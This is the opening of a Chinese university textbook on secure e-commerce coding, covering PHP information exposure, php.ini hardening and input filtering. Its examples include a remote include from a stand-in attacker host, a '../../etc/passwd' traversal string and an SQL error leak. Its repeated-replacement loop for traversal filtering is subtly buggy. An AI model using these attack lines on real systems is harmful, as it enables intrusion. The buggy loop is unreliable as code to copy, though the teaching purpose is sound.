二十一世纪普通高等院校实用规划教材·经济管理系列

电子商务安全技术

DIANZI SHANGWU ANQUAN JISHU

刘英卓　曹　杰　张艳萍　编著

赠送电子课件

• 前瞻性与基础性相统一 •

• 教材建设与教学改革相统一 • 综合性与针对性相统一 •

清华大学出版社

二十一世纪普通高等院校实用规划教材·经济管理系列

电子商务安全技术

刘英卓　曹　杰　张艳萍　编　著

清华大学出版社
北京

内 容 简 介

电子商务安全编码对于从事电子商务技术开发的人员至关重要，是电子商务安全理论的具体实践。本书划分为三大篇：PHP 安全基础、Java 安全编码和 ASP.NET 安全。在每一篇中，按照信息暴露、安全输入过滤、安全输出、安全传输、安全存储几个环节进行了勾勒，精心选择实例素材，尤其对于电子商务中敏感模块的编码实现，做了非常详细的分析。

本书可作为电子商务专业专科生、本科生、研究生的教材，也适合于从事电子商务研究的专业技术人员参考使用。

图书在版编目(CIP)数据

电子商务安全技术/刘英卓，曹杰，张艳萍编著. —北京：清华大学出版社，2017
(二十一世纪普通高等院校实用规划教材　经济管理系列)
ISBN 978-7-302-46708-3

Ⅰ. ①电…　Ⅱ. ①刘…　②曹…　③张…　Ⅲ. ①电子商务—安全技术—高等学校—教材　Ⅳ. ①F713.36

中国版本图书馆 CIP 数据核字(2017)第 038670 号

责任编辑：陈冬梅
封面设计：刘孝琼
责任校对：周剑云
责任印制：沈　露
出版发行：清华大学出版社
网　　址：http://www.tup.com.cn, http://www.wqbook.com
地　　址：北京清华大学学研大厦 A 座　　邮　　编：100084
社 总 机：010-62770175　　邮　　购：010-62786544
投稿与读者服务：010-62776969, c-service@tup.tsinghua.edu.cn
质量反馈：010-62772015, zhiliang@tup.tsinghua.edu.cn
课件下载：http://www.tup.com.cn, 010-62791865
印 装 者：北京密云胶印厂
经　　销：全国新华书店
开　　本：185mm×230mm　　**印　张**：11　　**字　数**：238 千字
版　　次：2017 年 4 月第 1 版　　**印　次**：2017 年 4 月第 1 次印刷
印　　数：1～2000
定　　价：28.00 元

产品编号：073861-01

前　言

安全的电子商务 Web 应用开发首先要从对 HTTP 协议的深入理解开始，因为 HTTP 协议是在客户端和服务器端之间运输 HTML 网页的车辆，这辆车有两种车头：request 头和 response 头。客户端必须获得一个有安全意识的程序员注意，它是典型的 Web 浏览器、蜘蛛机器人或者其他具有风险的软件(比如自动注册提交机)。HTTP 协议通过 TCP 的三次握手机制连接到 Web 服务器。一旦服务器收到请求消息，服务器就开始处理请求和发回带有状态行的响应(如 HTTP/1.1 200 OK)。然后，服务器把剩下的响应消息发送出去，其中可能包含 HTML、图像、音频、错误消息或任何其他想要发送的信息。浏览器发出的 HTTP 请求类型有 GET、POST，还有用在编程中的 HEAD、PUT 和 TRACE 类型。

电子商务程序员编写出一个存在漏洞的 Web 页面，表面上看起来可能不是什么大问题，但却可以造成非常严重的问题，包括以下内容。

(1) 盗窃账户或服务。当 Web 站点使用会话状态时，会话标识符通常存储在用户浏览器的 cookie 中，可以通过 JavaScript 查看和操作站点的 cookie。攻击者可以利用此功能把 cookie 的内容定向到攻击者拥有的另一个站点上，也可以在自己主机的浏览器上重新创建这个 cookie，攻击者看上去好像是 Web 服务的原始用户。根据被攻击站点的不同，对于那些已经被盗取信息的用户，可能会导致身份盗窃、访问机密信息、访问付费内容或 DoS 攻击等不同的后果。

(2) 用户重定向。一旦攻击者发现了一个 XSS 漏洞，他就完全可以使用 JavaScript 注入重定向整个浏览器。这可能导致安装间谍软件、网络钓鱼或其他常见性的危害。

(3) 用户跟踪。因为 JavaScript 可以操作页面内容，所以攻击者可以在服务器托管的存在漏洞的页面中插入图像，这个图像可以被用来跟踪多个存在漏洞的 Web 站点的用户。此外，攻击者可以利用 JavaScript 通过添加单击事件脚本来替换页面上所有的链接，以便收集更多的统计信息。

(4) 错误信息。攻击者可以使用 JavaScript 重写 Web 页面内容。如果被攻击的站点是一个金融 Web 站点，攻击者为了修改特定的股票价格来修改站点中的页面，那么用户没有任何办法辨别显示的价格是不正确的价格，因为浏览器中的 URL 是相同的。

(5) 浏览器插件的安装和利用。攻击者可以把<object>标记插入页面中，<object>标记可以启动 ActiveX 控件、Flash、Java 或其他的以这种方式控制的插件，然后利用该插件的漏洞来窃取或公开用户的信息。

(6) DoS 攻击。攻击者在一个想要发动 DoS 攻击的站点上插入一个图像标记，并加载最大的图像。由于此站点有足够大的用户浏览量，只加载这些图像就需要占用很大的带宽，因此该站点就无法再很好地提供其他 Internet 服务了。而且，加载图像属于正常行为，所以此攻击很难被发现。

有鉴于此，开发者必须掌握安全的 Web 应用编程技能，才能够满足电子商务的需求。

本书并不讲述电子商务网站的宏观体系开发，如用户的需求、分析、设计、实现等。本书着眼于战术运用，重点讲述电子商务编码的安全实现环节。本书强调的安全编码技术也不是编程的全部技巧，而是程序员在编码当中最容易忽视的环节，还有电子商务网站独特的安全需求在技术上的解决。尽管就软件本身来说，可重用性、开放性、封闭性都能从一定程度上保证编码本身的生命力更持久，它们当然提高了编码的安全度。但本书并不论述这些编程宏观方法论的东西，本书的目的是让读者理解当前三大编程体系的安全基础和应用技术。因此，本书也不论述加密算法的编程实现问题，也不讨论各种安全漏洞，而是研究对程序员来说编程应如何安全实现。

安全是一个程度性的词汇，没有绝对的安全，只有相对的安全。安全编码就是在实现基本功能的基础上，增加防护性编码，以保证基本功能编码安全顺利地实现功能。安全编码和风险编码(黑客程序)是一对矛盾体，由安全编码所建立的软件对抗的是有风险的环境中产生的风险编码。安全性不是一项能够事后添加到现有应用程序的功能，不能等到开发阶段的后期才引入它。安全性是应用程序的固有特性，应作为设计阶段的首要任务来规划。为了确保应用程序的安全，需要开发者、架构师和管理员齐心协力。在电子商务应用系统所处的环境中，恶意用户输入的非正常数据是风险的主要原因。

本书的读者定位是掌握编程基础知识的程序员和学习了安全基础知识后待实践的电子商务专业学生。因此，本书不再讲述安全基础知识、术语，回避了三大编程体系的语法讲解，回避了服务器和数据库管理系统的漏洞讨论，也回避了各种安全算法的实现原理或者它们自身漏洞的讨论。本书侧重于程序员运用编程工具提供的安全 API 的运用，强调面向电子商务应用，强调网页安全编写技巧、准则，强调编写安全的代码，强调网站整体性安全方案和单页面安全技巧。也就是说，本书仅限于讲解如何开发安全的电子商务应用程序。通过本书的学习，读者能够在编码过程中自觉运用这些技巧和知识，提高编码的健壮性，从而进一步满足电子商务类软件的产出质量。

一个程序员编写的程序如果仅仅考虑了基本功能的实现，那么他的程序就如同一个裸体的婴儿，没有任何抵御外部攻击的能力。安全编码就是在实现了基本功能代码之外，为他穿衣戴帽、披之以铠甲，以实现防护。在什么地方加铠甲，加什么样的铠甲，在什么情形下加，这些是安全编码要研究的地方。从安全实现上来看，安全编码主要分为声明性安全和程序性安全：声明性安全主要针对宏观配置，有利于掌控应用全局的安全；程序性安

全代码逻辑上都等价于 if(已识别风险)…then(防护)…else(意外处理)语句，有利于程序细节局部的安全防护。写在前面的代码是后面代码执行的前提，前提自然会起到保护后续代码(也就是结果)的作用。安全外壳保护的永远是脆弱的代码，脆弱的代码会产生脆弱敏感性信息的泄露，归根到底，防护最终要保护的就是敏感数据。开发者在开发网页程序时，头脑中应该首先去想：①这个网页的安全度是什么级别；②是否需要验证用户身份、访问控制权限；③这个网页内有没有需要用户大量提交的数据，如果有就要在设计网页内增加验证码，以防止自动提交式的瘫痪网站攻击；④程序员要保证这个页面和其他网页间的逻辑关系，限制跨页面访问和盗链访问，在页面设置监视量，等等。

本书分为三大篇。第一篇讲述了 PHP 的安全编程知识，PHP 面向电子商务的安全开发。第二篇讲述了 Java 的安全编程知识，JSP 面向电子商务网站的安全编码问题。第三篇讲述了 ASP.NET 的安全编程知识，ASP.NET 面向电子商务网站的安全编码问题。曹杰博士为本书撰写了整体框架，撰写了相应的章节；张艳萍博士为本书的资料收集、汇总给予了很大支持，并撰写了相应的章节。

编写本书的目的是给程序员提供一个安全编程指南。由于本书编者水平有限，书中难免存在错误、瑕疵和其他不足之处，恳请读者批评、指正。

编　者

目　录

第 1 篇　PHP 安全基础

在诸多电子商务解决方案中，开放式电子商务解决方案 Linux+Apache+PHP+MySQL 具有如下优点：运行稳定可靠、跨平台、快速高效及源代码公开。国外企业大多使用 PHP 作为建站的首选，尤其是外贸类网站。国内使用 PHP 建站的知名企业有很多，如百度、腾讯网、新浪、搜狐、网易、淘宝、雅虎中国、Tom 在线等，由此可见，PHP 技术电子商务应用范围是非常广泛的。尽管应用 PHP 有许多好处，但是也有一些不利之处。由于 PHP 是开放源码项目，商业支持很少，因此，技术更新速度缓慢，安全问题很多。PHP 非常适用于电子商务网站的开发，电子商务网站的一些普通工作在其他技术体系中很难实现，但在 PHP 中是很容易的。本篇主要讲述 PHP 安全编码技术以及其在电子商务方面的典型应用。

1.1　信 息 暴 露

信息暴露是指网页给恶意用户提供了某些提示性的信息，例如程序的语句结构、注释信息、目录路径，甚至直接就是源代码。信息暴露等于直接向攻击者暴露自己的软肋。造成信息暴露的原因很多，比如开发工具为了提高程序员编程效率而提供的一些全局共享功能、API 的误用、逻辑错误、系统漏洞等。

1.1.1　register_globals 和错误报告

当 PHP 的 register_globals 配置选项打开时，任何发送给 PHP 脚本的参数都将会自动转换成全局变量，这将允许攻击者在程序内创建新变量，带来了安全隐患。开发者必须在开发和部署应用时关闭 register_globals，因为它会增加安全漏洞的数量；而且它隐藏了数据的来源，与开发者需要随时跟踪数据的责任相违背。一般要使用超级公用数组如$_GET 和$_POST。

如果必须开启 register_globals，则必须初始化所有变量并且把 error_reporting 设为 E_ALL(或 E_ALL | E_STRICT)以对未初始化变量进行警告。当 register_globals 开启时，任何使用未初始化变量的行为几乎就意味着安全漏洞。

PHP 的错误报告功能将协助开发者确认和定位错误，但它们也可能被恶意攻击者看到，这就暴露了开发者的逻辑。关闭 display_errors，大众就会看不到报错信息。如果开发者希

望得到出错信息，可以打开 log_errors 选项，并在 error_log 选项中设置出错日志文件的保存路径。出错报告的级别设定可以导致有些错误无法发现，应该把 error_reporting 设为 E_ALL(E_ALL | E_STRICT 是最高的设置，提供向下兼容的建议，比如不建议使用的提示)。

在程序中运行出错报告级别配置语句，就可以在共享的主机上更改 php.ini、httpd.conf 或.htaccess 等配置文件。代码如下：

```
<?php
    ini_set('error_reporting', E_ALL | E_STRICT);
    ini_set('display_errors', 'Off');
    ini_set('log_errors', 'On');
    ini_set('error_log', '/usr/local/apache/logs/error_log');
?>
set_error_handler( )      //函数指定自己编写的出错处理函数
<?php
    set_error_handler('my_error_handler');
?>
<?php
    function my_error_handler($number, $string, $file, $line, $context)
    {
    $error="= ====== ==\nPHP ERROR\n= ====== ==\n";
    $error.="Number: [$number]\n";
    $error.="String: [$string]\n";
    $error.="File:   [$file]\n";
    $error.="Line:   [$line]\n";
    $error.="Context:\n" . print_r($context, TRUE) . "\n\n";
    error_log($error, 3, '/usr/local/apache/logs/error_log');
    }
?>
```

PHP 5 还允许向 set_error_handler( )传递第二个参数，以限定在什么出错情况下执行定义的出错处理函数。比如，建立一个处理告警级别(warning)错误的函数：

```
<?php
    set_error_handler('my_warning_handler', E_WARNING);
?>
```

1.1.2　数据库访问权限暴露

数据库使用中，需要关注的主要问题之一是访问权限，即用户名及密码的暴露。在编程中，为了方便，一般都会用一个 db.inc 文件保存，如：

```
<?php
    $db_user='myuser';
    $db_pass='mypass';
    $db_host='127.0.0.1';
    $db=mysql_connect($db_host, $db_user, $db_pass);
?>
```

用户名及密码都是敏感数据，被写在源码中会造成风险。http.conf(Apache 的配置文件)默认的文件类型是 text/plain(普通文本)，如果 db.inc 这样的文件被保存在网站根目录下，就引发了风险。所有位于网站根目录下的资源都有相应的 URL，由于 Apache 没有定义对.inc 后缀的文件的处理方式类型，恶意用户在对这一类文件进行访问时，会以普通文本的类型进行返回(默认类型)，这样访问权限就被暴露在客户的浏览器上了。

一个以/www 为网站根目录的服务器，如果 db.inc 被保存在/www/inc，它有了一个自己的 URL：http://example.org/inc/db.inc(假设 example.org 是主机域名)。通过访问该 URL 就可以看到 db.inc 以文本方式显示的源文件。无论你把该文件保存在/www 哪个子目录下，都无法避免访问权限暴露的风险。对这个问题最好的解决方案是把它保存在网站根目录以外的包含目录中，保证 Web 服务器对其有读取权限。只要把必须通过 URL 访问的资源放置在网站根目录下即可。

也可以在 Apache 中配置成拒绝对.inc 资源的请求，或者把该文件更名为 db.inc.php：

```
<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>
```

有很多开发人员在 MySQL 语句执行出错时会调用函数 mysql_error( )来报告错误。见下面的例子：

```
<?php
mysql_query($sql) or exit(mysql_error());
?>
```

虽然该方法在开发中十分有用，但它会向攻击者暴露重要信息。如果攻击者把单引号作为用户名，mypass 作为密码，查询语句就会变成：

```
<?php
$sql="SELECT *
      FROM   users
      WHERE  username='''
      AND    password='a029d0df84eb5549c641e04a9ef389e5'";
?>
```

当该语句发送到 MySQL 后，系统就会显示如下错误信息：

```
You have an error in your SQL syntax. Check the manual that corresponds to
your MySQL server version for the right syntax to use near 'WHERE username
='''' AND password='a029d0df84eb55'
```

不费吹灰之力，攻击者已经知道了两个字段名(username 和 password)以及它们出现在查询中的顺序。除此以外，攻击者还知道了数据没有正确进行过滤(程序没有提示非法用户名)和转义(出现了数据库错误)，同时整个 WHERE 条件的格式也暴露了，这样，攻击者就可以尝试操纵符合查询的记录了。

1.1.3 配置选项

PHP 的配置会影响代码的行为和使用的技巧，它属于声明性安全的范畴，通过配置一些选项，网页的安全保障由程序员转嫁给了 PHP 和 Apache。PHP 的配置文件是 php.ini，该文件包含很多配置选项，每一项都会对 PHP 产生非常特定的影响。可以使用 phpinfo( )来确定 PHP 中对该文件路径的定义：

```
<?php
   phpinfo();
?>
```

(1) allow_url_fopen 选项。允许开发者如同本地文件一样引用远程资源：

```
<?php
   $contents=file_get_contents('http://example.org/xss.html');
?>
```

但是，当它与 include 或 require 相结合时就具有了危险性，因此，推荐关闭 allow_url_fopen 选项，除非应用时需要它。

```
<?php
   include 'http://evil.example.org/evil.inc';
?>
```

(2) disable_functions 选项。是非常有用的，它可以确保一些有潜在威胁的函数不能被使用。尽管可以建立规范去禁止使用这些函数，但在 PHP 配置中进行限制要比依赖于开发者对规范的遵循要可靠得多。

(3) display_errors 选项。是非常有用的调试工具，它显示了 PHP 应用程序遇到问题后给出的详细错误信息。在一个产品级的应用中，它会显示任何路径名称、SQL 语句以及其他敏感错误信息，这一行为会成为一项安全风险。因此，应该在产品环境中禁用该设置。

(4) enable_dl 选项。用于控制 dl( )函数是否生效，该函数允许在运行时加载 PHP 扩展。使用 dl( )函数可能导致攻击者绕过 open_basedir 限制，因此除非有必要，必须在应用中禁止它。

(5) error_reporting 选项。置为 E_ALL 或 E_ALL | E_STRICT，PHP 就会报告使用未初始化的变量或其他随意的编程方法引起的错误。建议在开发中把 error_reporting 至少设定为 E_ALL。

(6) expose_php=Off选项。指令防止PHP在HTTP报头中包含自身的信息(如版本信息)。

(7) file_uploads 选项。决定了是否允许上传文件。因此，如果不需要用户上传文件，那么关闭该选项就是最好的选择。

当log_errors设为有效时，PHP会向error_log配置选项指定的文件中写入所有出错信息。当 display_errors 设为无效时，将 log_errors 设为有效是很重要的，否则开发者将无法看到出错信息。建议将 log_errors 设为有效并在 error_log 中设定日志文件所在位置。

(8) magic_quotes_gpc 选项。是一个常用的选项，目的是防止 SQL 注入。但出于很多原因，包括它转义输入的方式，证明了它是不完善的。它对$_GET、$_POST 以及$_COOKIE 中的数据使用 addslashes( )函数进行处理，它并没有根据具体的数据库选用对应的转义函数进行处理。get_magic_quotes_gpc 会加大输入过滤逻辑的复杂性，因为它在执行代码前首先对数据进行了编辑。例如，需要对输入的姓名进行过滤时，其逻辑是只允许字母、空格、连字符以及单引号，当 magic_quotes_gpc 生效后，必须适应形如 O\'Reilly 的姓名或者使用 stripslashes( )尝试将它恢复原形。这一不必要的复杂性(或者说不严谨的过滤规则)加大了发生错误的可能性。get_magic_quotes_gpc 并没有根据具体数据库选用对应的转义函数进行处理。虽然它可以抵挡一些低层次或偶发的攻击，但是它仍然是一个糟糕的过滤或转义机制，无法抵挡如针对字符集的攻击等更复杂的攻击手段。

(9) memory_limit 选项。可以对最大内存使用量进行限制(以字节方式或缩写方式，如8M 指定)。memory_limit 选项只有在 PHP 指定了 enable-memory-limit 方式编译时才会生效。

(10) open_basedir 选项。当 enable_dl 选项是关闭状态时，允许设置 PHP 应用程序可以访问的顶层目录，会限制 PHP 只能在它指定的目录中打开文件，攻击者因此无法遍历其他目录。尽管它不能取代正确的输入过滤，但该选项能减少利用文件系统相关函数如 include 及 require 进行的攻击。该选项的值会被当作前缀使用，因此当表示指定目录时不要漏了最后的斜杠：open_basedir=/path/to/。

(11) safe_mode=On。如果没有必要关闭它，最好启用它。

(12) safe_mode_gid=Off。与 safe_mode=On 配合使用，禁用该配置要求相同属主和组 ID 所拥有的文件可以被 PHP 应用程序所访问。

(13) safe_mode_exec_dir=<目录>。与 safe_mode=On 配合使用，其作用是执行系统程序，例如 exec( )和 system( )，在没有将函数保存在特定目录就无法访问系统程序的情况下，允许函数执行系统程序。这意味着只有放置在特定目录下的系统程序可以被应用程序访问，从而防止攻击者执行任何其他程序。

(14) session.cookie_lifetime。session.cookie_lifetime 指定了会话 session cookie 有效的时间。默认值为 0 或不会过期，但最好设置为一个有效值。对于电子商务网上银行程序，将其设置为几分钟，可以防止一些会话攻击。

php.ini 文件参数的默认值通常就是安全性的最佳设置。

phpinfo( )会输出有关 PHP 信息的页面——运行的版本号、配置信息，等等。由于 phpinfo( )的输出提供了非常多的信息，因此建议限制对任何使用该函数的资源的访问。phpinfo( )形成的输出信息会暴露超级全局数组$_SERVER 的内容。

1.1.4 引入包含带来的暴露

随着电子商务项目的增大，软件设计与组织通常采用模块化设计，使用包含是一种模块化的手段。脚本采用 include 或 require 将文件引入应用，当使用 include 和 require 时，应该使用 include_once 与 require_once 来包含。包含可能带来源代码暴露的问题。产生这个问题的主要原因是下面的常见情况：①对包含文件使用.inc 扩展名；②包含文件保存在网站主目录下；③Apache 未设定.inc 文件的类型；④Apache 的默认文件类型是 text/plain。

这些情况造成了可以通过 URL 直接访问包含文件。更糟的是，它们会被作为普通文本处理而不会被 PHP 所解析，这样程序的源代码就会显示在用户的浏览器上。要避免这种情况，应该将所有的包含文件放在网站主目录之外，只把需要公开发布的文件放置在网站主

目录下。

后门 URL 是指无须直接调用的资源能直接通过 URL 访问。例如，下面 Web 应用可能向登入用户显示敏感信息：

```
<?php
    $authenticated=FALSE;
    $authenticated=check_auth();
    /* ... */
    if ($authenticated)
    {
        include './sensitive.php';
    }
?>
```

由于 sensitive.php 位于网站主目录下，用浏览器能跳过验证机制直接访问到该文件，这是由于在网站主目录下的所有文件都有一个相应的 URL 地址。在某些情况下，这些脚本可能执行一个重要的操作，这就增大了风险。为了防止后门 URL，需要确认把所有包含文件保存在网站主目录以外。所有保存在网站主目录下的文件都是必须通过 URL 直接访问的。

1.2　输 入 过 滤

过滤是电子商务应用安全的基础，它是验证用户输入数据合法性的过程。通过过滤，程序可以避免误信误用被污染(未过滤)的数据。大多数流行的 PHP 应用漏洞都是因为没有对输入进行恰当过滤造成的。过滤输入通常包括三个步骤：①识别输入；②过滤输出；③区分已过滤及被污染数据。

1.2.1　过滤基础

输入是指所有源自网站外部的数据，包括所有非法的和合法的来自客户端的输入，数据库和 RSS 推送等也是外部数据源。程序员必须明确自己所写的程序是运行在 Web 服务器上的，输入是程序本身接收处理外部数据的过程。用户输入的数据存放在 PHP 的两个超级公用数组$_GET 和$_POST 中，非常容易识别。但是，由于很难确认$_SERVER 数组中的哪些元素组成了输入，所以应该把整个数组看成输入。session 数据被保存在服务器上，也可以把 session 数据的保存位置置于软件内部，把 session 数据不当作外部数据源。如果数据

库服务器和网站共享主机，也可以将数据库不当作外部数据源。但是从安全的角度来看，把 session 保存位置与数据库看成是输入并严格执行过滤是程序员不能忽视的。过滤也可以说成是验证、清洁或净化，目的是防止被污染数据进入程序处理。过滤是程序检查输入数据是否合乎规则的过程，网页检查后要提示用户重新输入合乎规则的数据，网页不应该试图纠正非法数据。网页若自作主张纠正输入数据，可能会导致进一步的漏洞。例如，下面的代码试图防止目录跨越(访问上层目录)：

```
<?php
    $filename=str_replace('..', '.', $_POST['filename']);
?>
```

如果$_POST['filename']希望从 filename 中取出用户口令文件的路径../../etc/passwd，得到的却是.../.../etc/passwd，上面的处理就会出现错误。应该通过反复替换直到找不到为止：

```
<?php
    $filename=$_POST['filename'];
    while (strpos($_POST['filename'], '..')!=FALSE)
    {
        $filename=str_replace('..', '.', $filename);
    }
?>
```

这样的处理代码容易让程序员出错，比较好的方法是使用 PHP 自带的 API 函数 basename( )替代上面的所有逻辑，能实现更安全的目标。任何试图纠正非法数据的举动，都可能导致潜在错误并允许非法数据通过。只做检查是一个更安全的选择。这还需要假定正在检查的数据是非法的，除非能证明它是合法的，这样犯的错误只会导致把合法的数据当成是非法的，可总比把非法数据当成合法数据要安全得多。

保持污损数据和验证后数据隔离时，在程序中明确给出命名，如$tainted_name、$clean，并先对其初始化。

例如考虑下面的表单，它允许用户选择三种颜色中的一种：

```
<form action="process.php" method="POST">
    Please select a color:
    <select name="color">
        <option value="red">red</option>
        <option value="green">green</option>
        <option value="blue">blue</option>
    </select>
```

```
    <input type="submit" />
</form>
```

在处理这个表单的编程逻辑中，非常容易犯的错误是认为只能提交三个选择中的一个。其实，客户端能提交任何数据作为$_POST ['color']的值。服务器端采用了 switch 语句来进行处理：

```
<?php
    $clean=array( );
    switch($_POST['color'])
    {
        case 'red':
        case 'green':
        case 'blue':
        $clean['color']=$_POST['color'];
        break;
    }
?>
```

上面的方法对于过滤一组已知合法值的数据很有效，但是对于过滤一组由已知合法字符组成的数据时就没有什么帮助。例如，要求一个用户名只能由字母及数字组成：

```
<?php
    $clean=array( );
    if (ctype_alnum($_POST['username']))
    {
        $clean['username']=$_POST['username'];
    }
?>
```

对于更复杂的过滤情况，需要求助于正则表达式。正则表达式通常是过滤受污染的输入数据的第一道防线。PHP 提供两种基本机制来处理正则表达式：POSIX 和 PCRE。POSIX 正则表达式只能对文本字符串起作用，对于非文本是不安全的，如 NULL 字符、二进制字符串。POSIX 正则表达式可以让二进制数据通过验证，它使用 ereg( )函数。PCRE 正则表达式可以正确处理二进制数据，它使用 preg_match( )函数。

表 1.1 给出了正则表达式常见验证输入模式。